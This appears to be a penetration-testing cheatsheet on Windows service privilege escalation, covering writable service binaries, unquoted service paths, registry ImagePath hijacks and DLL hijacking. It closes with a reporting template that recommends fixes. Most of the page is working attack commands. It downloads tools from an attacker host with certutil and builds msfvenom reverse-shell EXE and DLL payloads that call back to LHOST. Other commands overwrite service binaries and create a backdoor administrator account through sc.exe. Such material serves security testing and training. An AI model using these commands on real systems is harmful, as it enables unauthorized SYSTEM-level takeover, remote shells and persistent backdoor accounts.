🛡️ Methodology Checklist

  • Run SharpUp: SharpUp.exe audit
  • Check service binary ACLs: icacls [binary_path] — look for (M) or (F) for non-admins
  • Overwrite vulnerable binary with payload, restart service
  • Find unquoted service paths: wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "c:\windows"
  • Plant binary in unquoted path segment that executes before real binary
  • Check service registry keys: accesschk.exe -kvuqsw HKLM\SYSTEM\CurrentControlSet\Services
  • DLL hijack: confirm DLL not found, plant malicious DLL in search path

🎯 Operational Context

Use when: Service binary permissions or registry keys are writable by non-admin users — modify service binary or registry to execute as SYSTEM on next restart/trigger. Think Dumber First: accesschk.exe -uwcqv "Authenticated Users" * finds all services writable by Authenticated Users. icacls [SERVICE_BINARY] checks binary permissions. Writable service binary = replace with malicious binary = SYSTEM on restart. Skip when: Cannot restart the service or wait for system reboot — weak permissions only execute on service start.


⚡ Tactical Cheatsheet

CommandTactical Outcome
.\SharpUp.exe auditAutomated weak permission finder (services, registry, DLL hijacks)
Get-ACL "C:\[PATH]" | Format-ListPowerShell ACL check on file/directory
icacls "C:\[PATH]"icacls ACL check — look for Everyone/Users write
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"Find non-Windows auto-start services
wmic service get name,pathname | findstr /i /v "C:\\Windows\\" | findstr /i /v """Unquoted service paths (no quotes, spaces in path)
sc.exe qc [SERVICE]Query service config — binary path, account, start type
sc.exe config [SERVICE] binpath= "cmd.exe /c [CMD]"Modify service binary path (note mandatory space after =)
sc.exe stop [SERVICE] && sc.exe start [SERVICE]Restart service to trigger modified binpath
cmd /c copy /Y [PAYLOAD] "C:\[WRITABLE_PATH]\[SERVICE_BINARY].exe"Overwrite service binary if directory writable
reg query HKLM\SYSTEM\CurrentControlSet\Services\[SERVICE] /v ImagePathCheck service binary path in registry
reg add HKLM\SYSTEM\CurrentControlSet\Services\[SERVICE] /v ImagePath /t REG_EXPAND_SZ /d "C:\evil.exe" /fModify service ImagePath in registry
accesschk.exe /accepteula -wuvc [SERVICE]Sysinternals: check who can write service config

🔬 Deep Dive & Workflow

SharpUp Workflow

# Transfer and run
certutil -urlcache -split -f http://[LHOST]/SharpUp.exe C:\temp\SharpUp.exe
.\SharpUp.exe audit
 
# Key findings to act on:
# [*] Modifiable Services        → sc.exe config binpath= exploit
# [*] Modifiable Service Binaries → overwrite the binary itself
# [*] Unquoted Service Paths      → plant binary in unquoted path segment
# [*] DLL Hijacking Opportunities → place DLL in directory binary searches
# [*] Modifiable Registry Auto-Runs → HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Modifiable Service Binary

# Step 1: Find vulnerable service
icacls "C:\Program Files\Vulnerable Service\vuln.exe"
# → BUILTIN\Users:(F)  ← everyone has Full control
 
# Step 2: Create payload binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f exe -o shell.exe
 
# Step 3: Replace service binary
cmd /c copy /Y C:\temp\shell.exe "C:\Program Files\Vulnerable Service\vuln.exe"
 
# Step 4: Start listener + restart service
nc -lnvp [LPORT]   # attacker
sc.exe stop VulnSvc && sc.exe start VulnSvc   # target

sc.exe Config Modification (Modifiable Service)

# Verify write access to service config
accesschk.exe /accepteula -wuvc [SERVICE_NAME]
# → [SERVICE_NAME] → SERVICE_ALL_ACCESS for BUILTIN\Users
 
# CRITICAL: There MUST be a space after binpath=
# "binpath=" with no space = ignored
# "binpath= cmd" = correct
sc.exe config [SERVICE] binpath= "cmd.exe /c net user [USER] [PASS] /add && net localgroup administrators [USER] /add"
sc.exe stop [SERVICE] && sc.exe start [SERVICE]
# → Service starts, runs cmd.exe which adds our user → service "fails" but exploit runs
 
# Verify
net user [USER]
net localgroup administrators

Unquoted Service Path Exploitation

# Find unquoted paths with spaces (no quotes around path with spaces)
wmic service get name,pathname | findstr /i /v "C:\\Windows\\" | findstr /i /v """"
# → VulnService    C:\Program Files\Company Folder\service.exe
 
# Windows binary resolution for unquoted "C:\Program Files\Company Folder\service.exe":
# Tries: C:\Program.exe
# Tries: C:\Program Files\Company.exe   ← plant payload here
# Tries: C:\Program Files\Company Folder\service.exe
 
# Check writability of each prefix location
icacls "C:\Program Files\Company.exe" 2>&1
icacls "C:\Program Files\Company" 2>&1
# → if "C:\Program Files\Company\" writable → place our binary
 
cmd /c copy /Y C:\temp\shell.exe "C:\Program Files\Company.exe"
sc.exe stop VulnService && sc.exe start VulnService

Registry Service ImagePath Hijack

# Check if HKLM service registry key is writable
accesschk.exe /accepteula -kvuqsw HKLM\SYSTEM\CurrentControlSet\Services
# → or check specific service
 
# Modify ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\[SERVICE]" /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /c [CMD]" /f
 
sc.exe stop [SERVICE] && sc.exe start [SERVICE]

DLL Hijacking (Service DLL Search Order)

# Windows DLL search order:
# 1. Directory of the .exe
# 2. C:\Windows\System32
# 3. C:\Windows\System
# 4. C:\Windows
# 5. Current directory
# 6. Directories in %PATH%
 
# Find missing DLL being loaded by service (Process Monitor / SharpUp)
# If binary dir is writable → plant malicious DLL there
 
# Create DLL payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f dll -o missing.dll
copy missing.dll "C:\Program Files\Vulnerable App\missing.dll"
sc.exe stop [SERVICE] && sc.exe start [SERVICE]

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Service restart blockedNon-admin cannot restartCheck if service restarts on schedule; or wait for reboot; or find another trigger
accesschk.exe not on targetTool not availableAlternative: Get-Acl (Get-WmiObject win32_service | Where-Object {$_.State -eq 'Running'}).PathName.Split(' ')[0] | Format-List
Service binary replaced but original still runsService already loaded in memoryChange is effective on next start; original binary in memory until restart
AlwaysInstallElevated MSI approach failsRegistry keys not both setBoth required: HKCU and HKLM AlwaysInstallElevated must be 1; check both
Unquoted service path exploit path not writableNo write access to exploit pathAll directories in the unquoted path must be checked; sometimes only some are writable

📝 Reporting Trigger

Finding Title: Weak Service Binary Permissions Enable SYSTEM Privilege Escalation Impact: World-writable service binary running as SYSTEM allows replacement with a malicious executable, achieving SYSTEM-level code execution on the next service start or system reboot without any authentication bypass. Root Cause: Service binary installed with permissive ACLs (BUILTIN\Users or Authenticated Users with write access). No file integrity monitoring on service binaries. Recommendation: Enforce restrictive permissions on all service binary directories (SYSTEM and Administrators only). Implement file integrity monitoring for service binaries. Run PowerUp.ps1 regularly against all systems to detect weak service permissions. Apply CIS Windows Benchmark service configurations.